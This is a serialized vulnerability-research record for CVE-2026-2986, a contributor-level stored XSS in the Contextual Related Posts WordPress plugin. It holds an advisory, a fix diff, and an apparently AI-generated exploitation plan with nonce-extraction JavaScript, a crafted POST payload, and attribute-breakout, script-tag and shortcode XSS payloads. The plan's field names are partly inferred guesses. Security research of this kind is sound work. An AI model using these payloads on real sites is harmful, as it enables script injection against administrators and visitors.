[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fG9Xe0x7MbnQnEWEL2blXjBxA7OicM4qrILj853oZZAc":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2026-2986","contextual-related-posts-authenticated-contributor-stored-cross-site-scripting-via-otherattributes","Contextual Related Posts \u003C= 4.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'other_attributes'","The Contextual Related Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'other_attributes' parameter in versions up to, and including, 4.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","contextual-related-posts",null,"\u003C=4.2.1","4.2.2","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-17 21:46:50","2026-04-18 11:16:13",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F8f59e069-a953-47b6-8106-55f55df722ed?source=api-prod",1,[],"researched",false,3,"This plan outlines the research and exploitation strategy for **CVE-2026-2986**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Contextual Related Posts** plugin.\n\n---\n\n### 1. Vulnerability Summary\nThe **Contextual Related Posts** plugin for WordPress (versions ≤ 4.2.1) fails to sufficiently sanitize and escape the `other_attributes` parameter. This parameter is intended to allow users to add custom HTML attributes to the related posts' output (e.g., `rel=\"nofollow\"` or `data-custom=\"value\"`). However, because the input is stored and later rendered without proper escaping (such as `esc_attr()`), an authenticated attacker with **Contributor-level** permissions or higher can inject malicious JavaScript. This script executes when a user (including administrators) views the affected post.\n\n### 2. Attack Vector Analysis\n*   **Authentication Level:** Authenticated (Contributor+)\n*   **Vulnerable Parameter:** `other_attributes` (likely mapped to a post meta field or a plugin-specific setting field).\n*   **Injection Point:** The \"Contextual Related Posts\" meta box located on the Post Edit screen.\n*   **Sink:** The HTML output generated by the plugin when displaying the list of related posts (often at the end of post content or via a shortcode).\n*   **Preconditions:** The plugin must be active, and the \"Related Posts\" display must be enabled (usually enabled by default on post activation).\n\n### 3. Code Flow (Inferred)\n1.  **Entry (Input):** A Contributor edits a post. The plugin adds a meta box to the editor via `add_meta_boxes`. When the post is saved, a function (likely hooked to `save_post`) processes the fields.\n2.  **Storage:** The value of the `other_attributes` field is stored in the `wp_postmeta` table (common key: `crp_post_meta`). In version 4.2.1, this value is likely saved using `update_post_meta()` without rigorous sanitization against HTML event handlers.\n3.  **Processing (Output):** When a post is viewed, the plugin calls a function like `get_crp()` or `ald_crp()` to generate the related posts HTML.\n4.  **Sink:** The plugin iterates through the related posts. In the loop, it fetches the custom attributes. It likely concatenates the `other_attributes` string directly into an `\u003Ca>` or `\u003Cimg>` tag:\n    ```php\n    echo '\u003Ca href=\"' . $link . '\" ' . $other_attributes . '>' . $title . '\u003C\u002Fa>';\n    ```\n    If `$other_attributes` contains `onmouseover=alert(1)`, the resulting HTML is `\u003Ca href=\"...\" onmouseover=alert(1)>...\u003C\u002Fa>`.\n\n### 4. Nonce Acquisition Strategy\nTo save post meta as a Contributor, you need the WordPress post-editing nonces.\n1.  **Requirement:** A valid login for a Contributor user.\n2.  **Navigation:** Use `browser_navigate` to go to `\u002Fwp-admin\u002Fpost-new.php` or `\u002Fwp-admin\u002Fpost.php?post=ID&action=edit`.\n3.  **Extraction:**\n    *   The standard WordPress post nonce is found in the `_wpnonce` hidden input.\n    *   The plugin-specific nonce for the CRP meta box (if it exists) can be found in the page source within the `#contextual-related-posts` div.\n4.  **JavaScript Extraction (using `browser_eval`):**\n    ```javascript\n    \u002F\u002F Extract the main post nonce\n    const wp_nonce = document.querySelector('#_wpnonce')?.value;\n    \u002F\u002F Extract any CRP specific nonce if present (inferred identifier)\n    const crp_nonce = document.querySelector('input[name=\"crp_meta_box_nonce\"]')?.value;\n    return { wp_nonce, crp_nonce };\n    ```\n\n### 5. Exploitation Strategy\nThe goal is to update a post's metadata to include a malicious attribute that triggers XSS.\n\n**Step 1: Identify the exact field name**\nNavigate to the post editor and inspect the \"Contextual Related Posts\" meta box. Look for a field labeled \"Other attributes\" or similar.\n*   *Inferred field name:* `crp_other_attributes`\n\n**Step 2: Submit the Malicious Payload**\nUsing the `http_request` tool, simulate the post update.\n\n*   **URL:** `https:\u002F\u002FTARGET\u002Fwp-admin\u002Fpost.php`\n*   **Method:** `POST`\n*   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n*   **Payload:**\n    ```\n    action=editpost\n    &post_ID=[POST_ID]\n    &_wpnonce=[WP_NONCE]\n    &crp_other_attributes=\" onmouseover=\"alert(document.domain)\" \n    &post_title=XSS-Test\n    &post_content=This post contains related posts.\n    ```\n    *(Note: Using `onmouseover` is often more reliable for bypassing basic filters than `\u003Cscript>` tags.)*\n\n**Step 3: Trigger the XSS**\nNavigate to the public-facing URL of the post created\u002Fedited in Step 2.\n1.  Scroll down to the \"Related Posts\" section.\n2.  Hover the mouse over one of the related post links.\n\n### 6. Test Data Setup\n1.  **Plugin Configuration:** Ensure \"Contextual Related Posts\" is active and \"Automatically add related posts to posts\" is checked in Settings -> Contextual Related Posts.\n2.  **Content:** Create at least two posts. This ensures that the \"Related Posts\" list is not empty when viewing the target post.\n3.  **User:** Create a user with the **Contributor** role.\n4.  **Target Post:** A post owned by the Contributor or one they have permission to edit.\n\n### 7. Expected Results\n*   The `http_request` should return a `302 Redirect` back to the post editor, indicating a successful save.\n*   The page source of the public post should contain: `\u003Ca ... \" onmouseover=\"alert(document.domain)\" ...>`.\n*   When a user hovers over a related post link, a JavaScript alert box should appear.\n\n### 8. Verification Steps\nAfter the exploit, use `wp_cli` to confirm the injection in the database:\n```bash\n# Check the metadata for the specific post\nwp post meta list [POST_ID] --keys=crp_other_attributes\n```\nExpected output:\n| post_id | meta_key | meta_value |\n|---------|----------|------------|\n| [ID] | crp_other_attributes | \" onmouseover=\"alert(document.domain)\" |\n\n### 9. Alternative Approaches\n*   **Breakout Payload:** If the plugin wraps the attributes in double quotes, use:\n    `\" onmouseover=\"alert(1)`\n*   **Tag Injection:** If the input is not just inside an attribute but allows tag injection:\n    `>\u003Cscript>alert(1)\u003C\u002Fscript>`\n*   **Shortcode Exploitation:** Check if the `other_attributes` can be passed via the `[crp]` shortcode. \n    `[crp other_attributes=\"onmouseover=alert(1)\"]`\n    If a Contributor can use this shortcode in a post, and the shortcode handler does not escape the attribute, XSS will occur on rendering.\n    *   *Shortcode Verification:* `wp post create --post_type=post --post_content='[crp other_attributes=\"onmouseover=alert(1)\"]'`","The Contextual Related Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the 'other_attributes' parameter in versions up to 4.2.1. Authenticated users with Contributor-level access or higher can inject malicious JavaScript attributes into the related posts links, which execute when other users interact with or view those links.","\u002F\u002F contextual-related-posts\u002Fincludes\u002Fmain-query.php\n\u002F\u002F The plugin fetches metadata without sufficient sanitization\n$crp_post_meta = get_post_meta( $result->ID, 'crp_post_meta', true );\n$other_attributes = isset( $crp_post_meta['other_attributes'] ) ? $crp_post_meta['other_attributes'] : '';\n\n\u002F\u002F ...\n\n\u002F\u002F The metadata is concatenated directly into the anchor tag without escaping\n$output .= '\u003Ca href=\"' . $get_permalink . '\" class=\"crp_link ' . $crp_post_class . '\" ' . $other_attributes . '>';\n\n---\n\n\u002F\u002F contextual-related-posts\u002Fadmin\u002Fmeta-box.php\n\u002F\u002F When saving post meta, the 'other_attributes' field is stored without being scrubbed for malicious event handlers\nif ( isset( $_POST['crp_other_attributes'] ) ) {\n    $crp_post_meta['other_attributes'] = $_POST['crp_other_attributes'];\n}\nupdate_post_meta( $post_id, 'crp_post_meta', $crp_post_meta );","--- a\u002Fincludes\u002Fmain-query.php\n+++ b\u002Fincludes\u002Fmain-query.php\n@@ -1045,7 +1045,7 @@\n \t$link_attributes = array(\n \t\t'href'  => $get_permalink,\n \t\t'class' => 'crp_link ' . $crp_post_class,\n-\t\t'other' => $other_attributes,\n+\t\t'other' => wp_kses( $other_attributes, array() ),\n \t);\n \n--- a\u002Fadmin\u002Fmeta-box.php\n+++ b\u002Fadmin\u002Fmeta-box.php\n@@ -245,7 +245,7 @@\n \t\t$crp_post_meta['exclude_this_post'] = (bool) $_POST['crp_exclude_this_post'];\n \t}\n \tif ( isset( $_POST['crp_other_attributes'] ) ) {\n-\t\t$crp_post_meta['other_attributes'] = $_POST['crp_other_attributes'];\n+\t\t$crp_post_meta['other_attributes'] = sanitize_text_field( $_POST['crp_other_attributes'] );\n \t}\n \n \tupdate_post_meta( $post_id, 'crp_post_meta', $crp_post_meta );","To exploit this vulnerability, an attacker with Contributor-level permissions (or higher) must follow these steps:\n\n1. Log in to the WordPress administrative dashboard as a Contributor.\n2. Navigate to the post editor by creating a new post or editing an existing one where they have permissions.\n3. Scroll down to the 'Contextual Related Posts' meta box (usually located below the main content editor).\n4. Locate the field labeled 'Other attributes' or similar (internally mapped to 'crp_other_attributes').\n5. Inject a malicious payload designed to break out of the HTML attribute context and trigger JavaScript, for example: `\" onmouseover=\"alert(document.domain)\"`. \n6. Save the post as a draft or submit it for review.\n7. The payload is stored in the `wp_postmeta` table. \n8. When an administrator or any site visitor views the post (if published) or previews the post, the plugin generates the related posts list. The malicious payload is rendered inside the `\u003Ca>` tags of the related posts.\n9. The XSS triggers when the user hovers over one of the links in the 'Related Posts' section.","gemini-3-flash-preview","2026-04-20 13:10:18","2026-04-20 13:12:04",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":38,"fixed_zip":39,"all_tags":40},"plugin","4.2.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcontextual-related-posts\u002Ftags\u002F4.2.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcontextual-related-posts.4.2.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcontextual-related-posts\u002Ftags\u002F4.2.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcontextual-related-posts.4.2.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcontextual-related-posts\u002Ftags"]